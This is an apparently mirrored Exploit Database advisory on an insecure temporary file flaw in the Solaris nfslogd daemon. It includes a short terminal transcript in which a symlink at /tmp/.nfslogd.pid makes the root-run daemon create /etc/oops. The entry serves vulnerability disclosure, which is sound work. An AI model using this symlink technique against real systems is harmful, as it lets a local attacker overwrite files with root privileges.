Oracle Solaris – ‘nfslogd’ Insecure Temporary File Creation

• Exploit Database
• 11 阅读

• 作者： Frank Stuart
  日期： 2010-07-13
• 类别：

  • local
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/34313/

• source: https://www.securityfocus.com/bid/41637/info
  
  Oracle Solaris is prone to an insecure temporary file creation vulnerability.
  
  A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
  
  This vulnerability affects the following supported versions:
  8, 9, 10, OpenSolaris 
  
  nnDon't Panic! # ls -dl /etc/oops
  /etc/oops: No such file or directory
  Don't Panic! # ls -dl /tmp/.nfslogd.pid
  lrwxrwxrwx 1 nobody nobody 9 Dec 29 21:24 /tmp/.nfslogd.pid
  -> /etc/oops
  Don't Panic! # id
  uid=0(root) gid=0(root)
  Don't Panic! # /usr/lib/nfs/nfslogd
  Don't Panic! # ls -dl /etc/oops
  -rw------- 1 root root 4 Dec 29 21:25 /etc/oops